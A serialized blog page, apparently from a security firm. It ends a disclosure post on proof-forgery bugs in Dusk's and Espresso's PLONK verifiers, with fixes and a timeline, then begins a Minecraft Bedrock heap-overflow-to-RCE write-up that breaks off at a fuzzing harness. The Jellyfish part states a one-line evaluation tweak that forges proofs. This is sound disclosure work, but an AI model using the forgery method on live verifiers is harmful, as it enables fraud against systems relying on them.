",{"type":21,"tag":34,"props":147085,"children":147088},{"href":147086,"rel":147087},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[38],[147089],{"type":21,"tag":194,"props":147090,"children":147092},{"className":147091},[],[147093],{"type":27,"value":146196},{"type":27,"value":147095}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":21,"tag":30,"props":147097,"children":147098},{},[147099,147101,147108],{"type":27,"value":147100},"This was done in ",{"type":21,"tag":34,"props":147102,"children":147105},{"href":147103,"rel":147104},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[38],[147106],{"type":27,"value":147107},"commit 645265b7",{"type":27,"value":147109},", which landed on February 14, 2026.",{"type":21,"tag":19590,"props":147111,"children":147112},{},[],{"type":21,"tag":22,"props":147114,"children":147116},{"id":147115},"why-was-this-missed",[147117],{"type":27,"value":147118},"Why was this missed?",{"type":21,"tag":30,"props":147120,"children":147121},{},[147122,147124,147131,147132,147139,147141,147148,147150,147157],{"type":27,"value":147123},"Dusk's stack had been heavily audited: a ",{"type":21,"tag":34,"props":147125,"children":147128},{"href":147126,"rel":147127},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[38],[147129],{"type":27,"value":147130},"December 2023 audit of dusk-plonk",{"type":27,"value":124772},{"type":21,"tag":34,"props":147133,"children":147136},{"href":147134,"rel":147135},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[38],[147137],{"type":27,"value":147138},"September 2024 audit of Phoenix",{"type":27,"value":147140},", and a ",{"type":21,"tag":34,"props":147142,"children":147145},{"href":147143,"rel":147144},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[38],[147146],{"type":27,"value":147147},"September 2024 Oak Security audit of the Rusk node library",{"type":27,"value":147149},". Dusk's public ",{"type":21,"tag":34,"props":147151,"children":147154},{"href":147152,"rel":147153},"https://dusk.network/news/audits-overview",[38],[147155],{"type":27,"value":147156},"audits overview",{"type":27,"value":147158}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":21,"tag":30,"props":147160,"children":147161},{},[147162,147164,147169],{"type":27,"value":147163},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":21,"tag":1671,"props":147165,"children":147166},{},[147167],{"type":27,"value":147168},"evaluations",{"type":27,"value":658},{"type":21,"tag":30,"props":147171,"children":147172},{},[147173],{"type":27,"value":147174},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":21,"tag":30,"props":147176,"children":147177},{},[147178],{"type":27,"value":147179},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":21,"tag":22,"props":147181,"children":147183},{"id":147182},"a-similar-bug-in-espresso-systems-jellyfish",[147184],{"type":27,"value":147185},"A similar bug in Espresso Systems' Jellyfish",{"type":21,"tag":30,"props":147187,"children":147188},{},[147189,147191,147198],{"type":27,"value":147190},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":21,"tag":34,"props":147192,"children":147195},{"href":147193,"rel":147194},"https://github.com/EspressoSystems/jellyfish/",[38],[147196],{"type":27,"value":147197},"jf-plonk",{"type":27,"value":147199}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":21,"tag":30,"props":147201,"children":147202},{},[147203,147205,147212,147214,147225,147227,147252,147254,147279],{"type":27,"value":147204},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":21,"tag":34,"props":147206,"children":147209},{"href":147207,"rel":147208},"https://eprint.iacr.org/2020/315",[38],[147210],{"type":27,"value":147211},"Plookup",{"type":27,"value":147213}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":21,"tag":34,"props":147215,"children":147218},{"href":147216,"rel":147217},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[38],[147219],{"type":21,"tag":194,"props":147220,"children":147222},{"className":147221},[],[147223],{"type":27,"value":147224},"append_plookup_evaluations",{"type":27,"value":147226}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":21,"tag":194,"props":147228,"children":147230},{"className":147229},[4794,4795],[147231],{"type":21,"tag":198,"props":147232,"children":147234},{"className":147233},[4800],[147235],{"type":21,"tag":198,"props":147236,"children":147238},{"className":147237,"ariaHidden":4806},[4805],[147239],{"type":21,"tag":198,"props":147240,"children":147242},{"className":147241},[4811],[147243,147247],{"type":21,"tag":198,"props":147244,"children":147246},{"className":147245,"style":111270},[4816],[],{"type":21,"tag":198,"props":147248,"children":147250},{"className":147249,"style":93915},[4822,22381],[147251],{"type":27,"value":114333},{"type":27,"value":147253}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":21,"tag":194,"props":147255,"children":147257},{"className":147256},[4794,4795],[147258],{"type":21,"tag":198,"props":147259,"children":147261},{"className":147260},[4800],[147262],{"type":21,"tag":198,"props":147263,"children":147265},{"className":147264,"ariaHidden":4806},[4805],[147266],{"type":21,"tag":198,"props":147267,"children":147269},{"className":147268},[4811],[147270,147274],{"type":21,"tag":198,"props":147271,"children":147273},{"className":147272,"style":111270},[4816],[],{"type":21,"tag":198,"props":147275,"children":147277},{"className":147276,"style":93915},[4822,22381],[147278],{"type":27,"value":114333},{"type":27,"value":147280},", so the prover can adjust them after the fact to make the check pass.",{"type":21,"tag":30,"props":147282,"children":147283},{},[147284,147286,147292,147294,147300],{"type":27,"value":147285},"The attack requires modifying a single evaluation (",{"type":21,"tag":194,"props":147287,"children":147289},{"className":147288},[],[147290],{"type":27,"value":147291},"key_table_next_eval",{"type":27,"value":147293},") by ",{"type":21,"tag":194,"props":147295,"children":147297},{"className":147296},[],[147298],{"type":27,"value":147299},"delta / (u * v^3)",{"type":27,"value":147301}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":21,"tag":30,"props":147303,"children":147304},{},[147305,147307,147314,147316,147327],{"type":27,"value":147306},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":21,"tag":34,"props":147308,"children":147311},{"href":147309,"rel":147310},"https://github.com/EspressoSystems/jellyfish/pull/867",[38],[147312],{"type":27,"value":147313},"PR #867",{"type":27,"value":147315}," fixed the issue and was tagged as ",{"type":21,"tag":34,"props":147317,"children":147320},{"href":147318,"rel":147319},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[38],[147321],{"type":21,"tag":194,"props":147322,"children":147324},{"className":147323},[],[147325],{"type":27,"value":147326},"jf-plonk-v0.8.0",{"type":27,"value":147328}," on March 18, 2026.",{"type":21,"tag":19590,"props":147330,"children":147331},{},[],{"type":21,"tag":22,"props":147333,"children":147335},{"id":147334},"toward-standardization",[147336],{"type":27,"value":147337},"Toward standardization",{"type":21,"tag":30,"props":147339,"children":147340},{},[147341,147343,147350],{"type":27,"value":147342},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":21,"tag":34,"props":147344,"children":147347},{"href":147345,"rel":147346},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[38],[147348],{"type":27,"value":147349},"similar patterns appear across zkVMs",{"type":27,"value":147351},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":21,"tag":30,"props":147353,"children":147354},{},[147355],{"type":27,"value":147356},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":21,"tag":30,"props":147358,"children":147359},{},[147360],{"type":27,"value":147361},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":21,"tag":22,"props":147363,"children":147364},{"id":61201},[147365],{"type":27,"value":147366},"Disclosure timeline",{"type":21,"tag":56121,"props":147368,"children":147369},{},[147370,147386],{"type":21,"tag":123380,"props":147371,"children":147372},{},[147373],{"type":21,"tag":123384,"props":147374,"children":147375},{},[147376,147381],{"type":21,"tag":123388,"props":147377,"children":147378},{},[147379],{"type":27,"value":147380},"Date",{"type":21,"tag":123388,"props":147382,"children":147383},{},[147384],{"type":27,"value":147385},"Event",{"type":21,"tag":123408,"props":147387,"children":147388},{},[147389,147402,147415,147427,147453,147473],{"type":21,"tag":123384,"props":147390,"children":147391},{},[147392,147397],{"type":21,"tag":123415,"props":147393,"children":147394},{},[147395],{"type":27,"value":147396},"2026-02-13",{"type":21,"tag":123415,"props":147398,"children":147399},{},[147400],{"type":27,"value":147401},"Dusk vulnerability reported",{"type":21,"tag":123384,"props":147403,"children":147404},{},[147405,147410],{"type":21,"tag":123415,"props":147406,"children":147407},{},[147408],{"type":27,"value":147409},"2026-02-14",{"type":21,"tag":123415,"props":147411,"children":147412},{},[147413],{"type":27,"value":147414},"Dusk acknowledged",{"type":21,"tag":123384,"props":147416,"children":147417},{},[147418,147422],{"type":21,"tag":123415,"props":147419,"children":147420},{},[147421],{"type":27,"value":147409},{"type":21,"tag":123415,"props":147423,"children":147424},{},[147425],{"type":27,"value":147426},"Dusk fix committed",{"type":21,"tag":123384,"props":147428,"children":147429},{},[147430,147435],{"type":21,"tag":123415,"props":147431,"children":147432},{},[147433],{"type":27,"value":147434},"2026-02-27",{"type":21,"tag":123415,"props":147436,"children":147437},{},[147438,147440,147451],{"type":27,"value":147439},"Public ",{"type":21,"tag":34,"props":147441,"children":147444},{"href":147442,"rel":147443},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[38],[147445],{"type":21,"tag":194,"props":147446,"children":147448},{"className":147447},[],[147449],{"type":27,"value":147450},"dusk-rusk-1.6.0",{"type":27,"value":147452}," release published",{"type":21,"tag":123384,"props":147454,"children":147455},{},[147456,147461],{"type":21,"tag":123415,"props":147457,"children":147458},{},[147459],{"type":27,"value":147460},"2026-03-16",{"type":21,"tag":123415,"props":147462,"children":147463},{},[147464,147466,147472],{"type":27,"value":147465},"Jellyfish fix PR opened (",{"type":21,"tag":34,"props":147467,"children":147469},{"href":147309,"rel":147468},[38],[147470],{"type":27,"value":147471},"#867",{"type":27,"value":2109},{"type":21,"tag":123384,"props":147474,"children":147475},{},[147476,147481],{"type":21,"tag":123415,"props":147477,"children":147478},{},[147479],{"type":27,"value":147480},"2026-03-18",{"type":21,"tag":123415,"props":147482,"children":147483},{},[147484,147486,147491,147493],{"type":27,"value":147485},"Jellyfish fix merged in ",{"type":21,"tag":34,"props":147487,"children":147489},{"href":147309,"rel":147488},[38],[147490],{"type":27,"value":147471},{"type":27,"value":147492}," and tagged as ",{"type":21,"tag":34,"props":147494,"children":147496},{"href":147318,"rel":147495},[38],[147497],{"type":21,"tag":194,"props":147498,"children":147500},{"className":147499},[],[147501],{"type":27,"value":147326},{"type":21,"tag":22,"props":147503,"children":147505},{"id":147504},"acknowledgements",[147506],{"type":27,"value":147507},"Acknowledgements",{"type":21,"tag":30,"props":147509,"children":147510},{},[147511],{"type":27,"value":147512},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":217,"depth":217,"links":147514},[147515,147522,147523,147524,147525,147526,147527,147528,147529,147530,147531,147532],{"id":142332,"depth":217,"text":142335,"children":147516},[147517,147518,147519,147520,147521],{"id":142357,"depth":236,"text":142360},{"id":143160,"depth":236,"text":143163},{"id":144358,"depth":236,"text":144361},{"id":144388,"depth":236,"text":144391},{"id":144669,"depth":236,"text":144672},{"id":145402,"depth":217,"text":145405},{"id":145540,"depth":217,"text":145543},{"id":90683,"depth":217,"text":146171},{"id":146770,"depth":217,"text":146773},{"id":146907,"depth":217,"text":146910},{"id":147022,"depth":217,"text":147025},{"id":147115,"depth":217,"text":147118},{"id":147182,"depth":217,"text":147185},{"id":147334,"depth":217,"text":147337},{"id":61201,"depth":217,"text":147366},{"id":147504,"depth":217,"text":147507},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":147537,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":147538,"description":147539,"date":147540,"author":124039,"image":147541,"isFeatured":16,"onBlogPage":16,"tags":147543,"body":147546,"_type":3671,"_id":156926,"_source":3673,"_file":156927,"_stem":156928,"_extension":3676},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":147542,"width":97650,"height":14430},"/posts/minecraft-heap-overflow-to-rce/title.png",[147544,147545],"minecraft","rce",{"type":18,"children":147547,"toc":156903},[147548,147553,147558,147563,147569,147574,147593,147598,147604,147609,147614,147620,147625,147630,147635,147641,147646,147651,147657,147677,147689,147696,147718,147732,147739,147745,147755,147775,147780,147786,147799,148144,148149,148157,148163,148182,148490,148518,148561,148573,148581,148586,149055,149074,149095,149437,149461,149733,149757,149784,149993,150012,150020,150039,150045,150107,150110,150132,150136,150141,150146,150152,150157,150171,150177,150191,150197,150210,150215,150223,150228,150234,150255,150263,150276,150279,150284,150298,150303,150308,150314,150319,150342,150347,150353,150358,150370,150382,150496,150516,150521,150526,150532,150537,150557,151172,151185,152259,152264,152272,152277,152283,152288,152296,152309,152314,152319,152326,152339,152344,152351,152406,152426,152433,152452,152459,152462,152467,152472,152478,152490,152503,152511,152582,152593,152627,152635,152640,152645,152651,152663,152682,152694,152699,152707,152726,152734,152753,152761,152787,152795,152800,152808,152813,152821,152824,152829,152834,152840,152853,152871,152909,152939,152947,152952,152958,152963,152968,152974,152986,153155,153167,153175,153180,153187,153192,153253,153300,153312,153317,153343,153417,153455,153460,153468,153489,153494,153520,153554,153607,153654,153660,153679,153711,153719,153822,153893,153899,153925,153932,153937,153944,153949,154190,154216,154221,154269,154274,154280,154312,154324,154356,154364,154403,154411,154416,154424,154429,154437,154449,154457,154469,154477,154489,154509,154515,154535,154552,154560,154572,154580,154599,154604,154612,154617,154625,154651,154662,154669,154674,154682,154687,154695,154700,154708,154713,154721,154726,154734,154739,154747,154788,154795,154800,154808,154813,154821,154826,154834,154839,154844,154852,154857,154865,154891,154899,154925,154933,154938,154946,154951,154959,154967,154972,154980,154985,154993,154996,155007,155041,155059,155067,155087,155093,155112,155170,155190,155198,155201,155240,155300,155305,155311,155324,155332,155384,155423,155431,155464,155467,155487,155495,155501,155506,155514,155554,155595,155615,155620,155625,155643,155649,155654,155673,155734,155742,155768,155774,155794,155799,155804,155811,155876,155881,155888,155909,155914,155926,155932,155965,155972,155977,156005,156012,156068,156080,156087,156148,156167,156173,156207,156228,156255,156263,156316,156386,156392,156412,156455,156460,156858,156864,156869,156880,156884,156889,156894,156899],{"type":21,"tag":36146,"props":147549,"children":147551},{"id":147550},"pwning-minecraft-4-byte-heap-overflow-to-rce",[147552],{"type":27,"value":147538},{"type":21,"tag":30,"props":147554,"children":147555},{},[147556],{"type":27,"value":147557},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":21,"tag":30,"props":147559,"children":147560},{},[147561],{"type":27,"value":147562},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":21,"tag":22,"props":147564,"children":147566},{"id":147565},"the-target",[147567],{"type":27,"value":147568},"The Target",{"type":21,"tag":30,"props":147570,"children":147571},{},[147572],{"type":27,"value":147573},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":21,"tag":30,"props":147575,"children":147576},{},[147577,147579,147584,147586,147591],{"type":27,"value":147578},"There are two main editions: ",{"type":21,"tag":6137,"props":147580,"children":147581},{},[147582],{"type":27,"value":147583},"Minecraft Java Edition",{"type":27,"value":147585},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":21,"tag":6137,"props":147587,"children":147588},{},[147589],{"type":27,"value":147590},"Minecraft Bedrock Edition",{"type":27,"value":147592},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":21,"tag":30,"props":147594,"children":147595},{},[147596],{"type":27,"value":147597},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":21,"tag":59,"props":147599,"children":147601},{"id":147600},"choice-of-context",[147602],{"type":27,"value":147603},"Choice of Context",{"type":21,"tag":30,"props":147605,"children":147606},{},[147607],{"type":27,"value":147608},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":21,"tag":30,"props":147610,"children":147611},{},[147612],{"type":27,"value":147613},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":21,"tag":59,"props":147615,"children":147617},{"id":147616},"resource-packs",[147618],{"type":27,"value":147619},"Resource Packs",{"type":21,"tag":30,"props":147621,"children":147622},{},[147623],{"type":27,"value":147624},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":21,"tag":30,"props":147626,"children":147627},{},[147628],{"type":27,"value":147629},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":21,"tag":30,"props":147631,"children":147632},{},[147633],{"type":27,"value":147634},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":21,"tag":22,"props":147636,"children":147638},{"id":147637},"finding-a-memory-corruption-bug",[147639],{"type":27,"value":147640},"Finding a Memory Corruption Bug",{"type":21,"tag":30,"props":147642,"children":147643},{},[147644],{"type":27,"value":147645},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":21,"tag":30,"props":147647,"children":147648},{},[147649],{"type":27,"value":147650},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":21,"tag":59,"props":147652,"children":147654},{"id":147653},"locating-image-parsing-code",[147655],{"type":27,"value":147656},"Locating Image Parsing Code",{"type":21,"tag":30,"props":147658,"children":147659},{},[147660,147662,147668,147669,147675],{"type":27,"value":147661},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":21,"tag":194,"props":147663,"children":147665},{"className":147664},[],[147666],{"type":27,"value":147667},"PNG",{"type":27,"value":13940},{"type":21,"tag":194,"props":147670,"children":147672},{"className":147671},[],[147673],{"type":27,"value":147674},"GIF",{"type":27,"value":147676}," and look for error logging or other messages that use those substrings.",{"type":21,"tag":30,"props":147678,"children":147679},{},[147680,147682,147687],{"type":27,"value":147681},"Searching for the string ",{"type":21,"tag":194,"props":147683,"children":147685},{"className":147684},[],[147686],{"type":27,"value":147674},{"type":27,"value":147688}," returned some interesting results:",{"type":21,"tag":30,"props":147690,"children":147691},{},[147692],{"type":21,"tag":1376,"props":147693,"children":147695},{"alt":50954,"src":147694},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":21,"tag":30,"props":147697,"children":147698},{},[147699,147701,147708,147710,147717],{"type":27,"value":147700},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":21,"tag":34,"props":147702,"children":147705},{"href":147703,"rel":147704},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[38],[147706],{"type":27,"value":147707},"stb_image.h",{"type":27,"value":147709},". For an example: usage of ",{"type":21,"tag":34,"props":147711,"children":147714},{"href":147712,"rel":147713},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[38],[147715],{"type":27,"value":147716},"bad Image Descriptor",{"type":27,"value":658},{"type":21,"tag":30,"props":147719,"children":147720},{},[147721,147723,147730],{"type":27,"value":147722},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":21,"tag":34,"props":147724,"children":147727},{"href":147725,"rel":147726},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[38],[147728],{"type":27,"value":147729},"stbi__gif_load_next",{"type":27,"value":147731},", and loaded the resource pack - this confirmed its usage:",{"type":21,"tag":30,"props":147733,"children":147734},{},[147735],{"type":21,"tag":1376,"props":147736,"children":147738},{"alt":50954,"src":147737},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":21,"tag":59,"props":147740,"children":147742},{"id":147741},"stb-image-library",[147743],{"type":27,"value":147744},"STB Image Library",{"type":21,"tag":30,"props":147746,"children":147747},{},[147748,147753],{"type":21,"tag":194,"props":147749,"children":147751},{"className":147750},[],[147752],{"type":27,"value":147707},{"type":27,"value":147754}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":21,"tag":30,"props":147756,"children":147757},{},[147758,147760,147765,147767,147774],{"type":27,"value":147759},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":21,"tag":194,"props":147761,"children":147763},{"className":147762},[],[147764],{"type":27,"value":147707},{"type":27,"value":147766}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":21,"tag":34,"props":147768,"children":147771},{"href":147769,"rel":147770},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[38],[147772],{"type":27,"value":147773},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":27,"value":658},{"type":21,"tag":30,"props":147776,"children":147777},{},[147778],{"type":27,"value":147779},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":21,"tag":162,"props":147781,"children":147783},{"id":147782},"fuzzing",[147784],{"type":27,"value":147785},"Fuzzing",{"type":21,"tag":30,"props":147787,"children":147788},{},[147789,147791,147798],{"type":27,"value":147790},"The fuzzer consisted of a very simple ",{"type":21,"tag":34,"props":147792,"children":147795},{"href":147793,"rel":147794},"https://github.com/AFLplusplus/AFLplusplus",[38],[147796],{"type":27,"value":147797},"AFL++",{"type":27,"value":27545},{"type":21,"tag":187,"props":147800,"children":147802},{"code":147801,"language":3954,"meta":7,"className":17318,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[147803],{"type":21,"tag":194,"props":147804,"children":147805},{"__ignoreMap":7},[147806,147819,147831,147838,147884,147896,147917,147924,147948,147963,147970,147977,148049,148073,148088,148095,148102,148115,148122,148137],{"type":21,"tag":198,"props":147807,"children":147808},{"class":200,"line":201},[147809,147814],{"type":21,"tag":198,"props":147810,"children":147811},{"style":640},[147812],{"type":27,"value":147813},"#define",{"type":21,"tag":198,"props":147815,"children":147816},{"style":698},[147817],{"type":27,"value":147818}," STB_IMAGE_IMPLEMENTATION\n",{"type":21,"tag":198,"props":147820,"children":147821},{"class":200,"line":217},[147822,147826],{"type":21,"tag":198,"props":147823,"children":147824},{"style":640},[147825],{"type":27,"value":90797},{"type":21,"tag":198,"props":147827,"children":147828},{"style":205},[147829],{"type":27,"value":147830}," \"./stb/stb_image.h\"\n",{"type":21,"tag":198,"props":147832,"children":147833},{"class":200,"line":236},[147834],{"type":21,"tag":198,"props":147835,"children":147836},{"emptyLinePlaceholder":16},[147837],{"type":27,"value":1283},{"type":21,"tag":198,"props":147839,"children":147840},{"class":200,"line":260},[147841,147845,147849,147853,147857,147862,147866,147871,147875,147880],{"type":21,"tag":198,"props":147842,"children":147843},{"style":249},[147844],{"type":27,"value":19841},{"type":21,"tag":198,"props":147846,"children":147847},{"style":698},[147848],{"type":27,"value":91162},{"type":21,"tag":198,"props":147850,"children":147851},{"style":211},[147852],{"type":27,"value":706},{"type":21,"tag":198,"props":147854,"children":147855},{"style":249},[147856],{"type":27,"value":19841},{"type":21,"tag":198,"props":147858,"children":147859},{"style":226},[147860],{"type":27,"value":147861}," argc",{"type":21,"tag":198,"props":147863,"children":147864},{"style":211},[147865],{"type":27,"value":828},{"type":21,"tag":198,"props":147867,"children":147868},{"style":249},[147869],{"type":27,"value":147870},"char",{"type":21,"tag":198,"props":147872,"children":147873},{"style":683},[147874],{"type":27,"value":90263},{"type":21,"tag":198,"props":147876,"children":147877},{"style":226},[147878],{"type":27,"value":147879},"argv",{"type":21,"tag":198,"props":147881,"children":147882},{"style":211},[147883],{"type":27,"value":668},{"type":21,"tag":198,"props":147885,"children":147886},{"class":200,"line":281},[147887,147891],{"type":21,"tag":198,"props":147888,"children":147889},{"style":249},[147890],{"type":27,"value":19871},{"type":21,"tag":198,"props":147892,"children":147893},{"style":211},[147894],{"type":27,"value":147895}," x, y, comp;\n",{"type":21,"tag":198,"props":147897,"children":147898},{"class":200,"line":302},[147899,147904,147908,147912],{"type":21,"tag":198,"props":147900,"children":147901},{"style":249},[147902],{"type":27,"value":147903}," unsigned",{"type":21,"tag":198,"props":147905,"children":147906},{"style":249},[147907],{"type":27,"value":59426},{"type":21,"tag":198,"props":147909,"children":147910},{"style":683},[147911],{"type":27,"value":10626},{"type":21,"tag":198,"props":147913,"children":147914},{"style":211},[147915],{"type":27,"value":147916},"ret;\n",{"type":21,"tag":198,"props":147918,"children":147919},{"class":200,"line":323},[147920],{"type":21,"tag":198,"props":147921,"children":147922},{"emptyLinePlaceholder":16},[147923],{"type":27,"value":1283},{"type":21,"tag":198,"props":147925,"children":147926},{"class":200,"line":344},[147927,147931,147936,147940,147944],{"type":21,"tag":198,"props":147928,"children":147929},{"style":640},[147930],{"type":27,"value":643},{"type":21,"tag":198,"props":147932,"children":147933},{"style":211},[147934],{"type":27,"value":147935}," (argc ",{"type":21,"tag":198,"props":147937,"children":147938},{"style":683},[147939],{"type":27,"value":16491},{"type":21,"tag":198,"props":147941,"children":147942},{"style":2540},[147943],{"type":27,"value":8745},{"type":21,"tag":198,"props":147945,"children":147946},{"style":211},[147947],{"type":27,"value":668},{"type":21,"tag":198,"props":147949,"children":147950},{"class":200,"line":365},[147951,147955,147959],{"type":21,"tag":198,"props":147952,"children":147953},{"style":640},[147954],{"type":27,"value":16547},{"type":21,"tag":198,"props":147956,"children":147957},{"style":2540},[147958],{"type":27,"value":5335},{"type":21,"tag":198,"props":147960,"children":147961},{"style":211},[147962],{"type":27,"value":1483},{"type":21,"tag":198,"props":147964,"children":147965},{"class":200,"line":386},[147966],{"type":21,"tag":198,"props":147967,"children":147968},{"style":211},[147969],{"type":27,"value":880},{"type":21,"tag":198,"props":147971,"children":147972},{"class":200,"line":408},[147973],{"type":21,"tag":198,"props":147974,"children":147975},{"emptyLinePlaceholder":16},[147976],{"type":27,"value":1283},{"type":21,"tag":198,"props":147978,"children":147979},{"class":200,"line":429},[147980,147985,147989,147994,147998,148002,148006,148010,148014,148018,148023,148027,148032,148036,148041,148045],{"type":21,"tag":198,"props":147981,"children":147982},{"style":211},[147983],{"type":27,"value":147984}," ret ",{"type":21,"tag":198,"props":147986,"children":147987},{"style":683},[147988],{"type":27,"value":3174},{"type":21,"tag":198,"props":147990,"children":147991},{"style":698},[147992],{"type":27,"value":147993}," stbi_load",{"type":21,"tag":198,"props":147995,"children":147996},{"style":211},[147997],{"type":27,"value":706},{"type":21,"tag":198,"props":147999,"children":148000},{"style":226},[148001],{"type":27,"value":147879},{"type":21,"tag":198,"props":148003,"children":148004},{"style":211},[148005],{"type":27,"value":2051},{"type":21,"tag":198,"props":148007,"children":148008},{"style":2540},[148009],{"type":27,"value":134},{"type":21,"tag":198,"props":148011,"children":148012},{"style":211},[148013],{"type":27,"value":23853},{"type":21,"tag":198,"props":148015,"children":148016},{"style":683},[148017],{"type":27,"value":3917},{"type":21,"tag":198,"props":148019,"children":148020},{"style":211},[148021],{"type":27,"value":148022},"x, ",{"type":21,"tag":198,"props":148024,"children":148025},{"style":683},[148026],{"type":27,"value":3917},{"type":21,"tag":198,"props":148028,"children":148029},{"style":211},[148030],{"type":27,"value":148031},"y, 